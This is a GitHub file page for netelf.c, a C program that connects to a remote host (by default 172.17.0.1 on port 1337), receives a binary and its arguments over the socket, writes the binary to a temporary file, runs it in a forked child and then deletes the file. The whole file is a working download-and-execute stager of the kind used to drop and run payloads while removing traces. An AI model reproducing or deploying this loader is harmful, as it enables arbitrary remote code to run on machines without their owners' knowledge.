-
Notifications
You must be signed in to change notification settings - Fork 33
/
netelf.c
397 lines (330 loc) · 6.47 KB
/
netelf.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
#ifndef _WIN32
/* UNIX-like/compatible platforms */
# include <fcntl.h>
# include <stdio.h>
# include <stdlib.h>
# include <sys/stat.h>
# include <string.h>
# include <errno.h>
# include <sys/mman.h>
# include <unistd.h>
# include <arpa/inet.h>
# include <netinet/in.h>
# include <sys/socket.h>
#endif
#if defined(__unix__) || defined(unix)
# define USE_FORK
#endif
#ifdef __VMS_VER
# define USE_VFORK
#endif
/*
* NETELF_ERROR is used to cause a compile error when
* we can't rely on the preprocessor... e.g. when #error
* causes a syntax error...
*/
#define NETELF_ERROR 0
#ifndef _WIN32
# if !defined(USE_FORK) && !defined(USE_VFORK)
# undef NETELF_ERROR
# define NETELF_ERROR unknown_fork_or_vfork
# endif
#endif
static int _netelf_error = NETELF_ERROR;
#ifdef _WIN32
# include "_win32.c"
#endif
#ifdef __linux__
# include "_linux.c"
#endif
#ifdef NETELF_NEED_LIB_C
# include "_lib.c"
#endif
#ifndef NETELF_OVERRIDE_FILE
/*
* POSIX-style portable file handle
* used to write to the file, then execute it
*/
struct ne_file_s {
char *name;
int handle;
};
typedef struct ne_file_s ne_file_t;
static int
file_open(file)
ne_file_t *file;
{
int handle;
#ifdef USE_TMPNAM
char *filename = tmpnam("XXXXXX");
#else
char *filename = tempnam(NULL, NULL);
#endif
handle = open(filename, O_CREAT | O_WRONLY, 0700);
if (handle == -1) {
return 1;
}
file->handle = handle;
file->name = filename;
return 0;
}
static unsigned int
file_write(file, buf, nbytes)
ne_file_t *file;
void *buf;
unsigned int nbytes;
{
return write(file->handle, buf, nbytes);
}
static int
file_exec(file, argv)
ne_file_t *file;
char **argv;
{
pid_t child_pid = 0;
extern char **environ;
close(file->handle);
# ifdef USE_VFORK
child_pid = vfork();
# endif
# ifdef USE_FORK
child_pid = fork();
# endif
if (child_pid == 0) {
if (-1 == execve(file->name, argv, environ)) {
#ifndef QUIET
perror("execve");
#endif
unlink(file->name);
return 6;
}
}
sleep(1);
unlink(file->name);
return 0;
}
#endif
/* !NETELF_OVERRIDE_FILE */
static int
sock_connect( ip, port )
char *ip;
int port;
{
struct sockaddr_in serv_addr;
int sockfd;
#ifdef _WIN32
WSADATA wsadata;
if( WSAStartup(MAKEWORD(2,0), &wsadata) != 0 ) {
return -1;
}
#endif
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if( sockfd < 0 )
return sockfd;
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
#ifdef HAVE_INET_PTON
if (inet_pton(AF_INET, ip, &serv_addr.sin_addr) <= 0) {
return -1;
}
#else
serv_addr.sin_addr.s_addr = inet_addr(ip);
if( serv_addr.sin_addr.s_addr == INADDR_NONE ) {
return -1;
}
#endif
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) {
return -2;
}
return sockfd;
}
static unsigned int
sock_read( sockfd, buf, nbytes )
int sockfd;
char *buf;
unsigned int nbytes;
{
int rc;
#ifdef USE_RECV
rc = recv(sockfd, buf, nbytes, 0);
#else
rc = read(sockfd, buf, nbytes);
#endif
return rc;
}
static unsigned int
sock_readbytes( sockfd, buf, nbytes )
int sockfd;
char *buf;
unsigned int nbytes;
{
int rc;
unsigned int nbread = 0;
while( nbread < nbytes ) {
rc = sock_read(sockfd, buf, nbytes - nbread);
if (rc < 0) {
return 0;
}
buf += rc;
nbread += rc;
}
return nbread;
}
static void
sock_close(sockfd)
int sockfd;
{
#ifdef _WIN32
closesocket(sockfd);
#else
close(sockfd);
#endif
}
static unsigned int
sock_readint( sockfd )
int sockfd;
{
unsigned int ret = 0;
if( sock_readbytes(sockfd, (void*)&ret, 4) != 4 ) {
return 0;
}
return ntohl(ret);
}
static char **
sock_argv( sockfd, argc )
int sockfd;
unsigned int *argc;
{
char *data = NULL;
char *bufstart;
unsigned int nbytes = sock_readint(sockfd);
unsigned int nargs;
unsigned int args_sz;
char **args;
if( ! nbytes ) {
#ifndef QUIET
perror("Error reading nbytes\n");
#endif
return NULL;
}
nargs = sock_readint(sockfd);
if( ! nargs ) {
#ifndef QUIET
perror("Error reading nargs\n");
#endif
return NULL;
}
if( argc )
*argc = nargs;
args_sz = nargs * sizeof(char*);
data = (char *)malloc(args_sz + nbytes);
if( ! data )
return NULL;
args = (char**)&data[0];
bufstart = &data[args_sz];
while( nargs-- ) {
unsigned int val = sock_readint(sockfd);
if( val ) {
args[nargs] = &bufstart[val];
}
else {
args[nargs] = NULL;
}
}
if( ! sock_readbytes(sockfd, bufstart, nbytes) ) {
free(data);
return NULL;
}
return (char**)data;
}
static int
sock_exec_impl( sockfd, nbytes, argc, argv )
int sockfd;
unsigned int nbytes;
unsigned int argc;
char **argv;
{
ne_file_t outfile;
char buf[1024];
unsigned int nread;
unsigned int ntoread;
unsigned int nwritten;
if( file_open(&outfile) ) {
#ifndef QUIET
perror("file_open");
#endif
return 3;
}
while( nbytes ) {
ntoread = (nbytes > sizeof(buf)) ? sizeof(buf) : nbytes;
nread = sock_readbytes(sockfd, buf, ntoread);
if( ! nread ) {
return 4;
}
nwritten = file_write(&outfile, buf, nread);
if( nread != nwritten ) {
return 5;
}
nbytes -= nwritten;
}
return file_exec(&outfile, argc, argv);
}
static int
sock_exec( sockfd )
int sockfd;
{
unsigned int argc;
char **argv;
unsigned int nbytes;
argv = sock_argv(sockfd, &argc);
if( ! argv ) {
#ifndef QUIET
perror("Cannot read argv\n");
#endif
return 1;
}
nbytes = sock_readint(sockfd);
if( ! nbytes ) {
#ifndef QUIET
perror("Cannot read bytes\n");
#endif
return 2;
}
return sock_exec_impl(sockfd, nbytes, argc, argv);
}
static int
run_netelf(ip_addr, port)
const char *ip_addr;
int port;
{
int rc = -1;
int sockfd;
sockfd = sock_connect(ip_addr, port);
if( sockfd < 0 ) {
#ifndef QUIET
perror("sock_connect");
#endif
return 2;
}
rc = sock_exec(sockfd);
sock_close(sockfd);
return rc;
}
#ifndef NETELF_NO_MAIN
int
main(argc, argv)
int argc;
char **argv;
{
const char *ip_addr = "172.17.0.1";
int port = 1337;
if (argc > 1) {
ip_addr = argv[1];
if (argc > 2) {
port = atoi(argv[2]);
}
}
return run_netelf(ip_addr, port);
}
#endif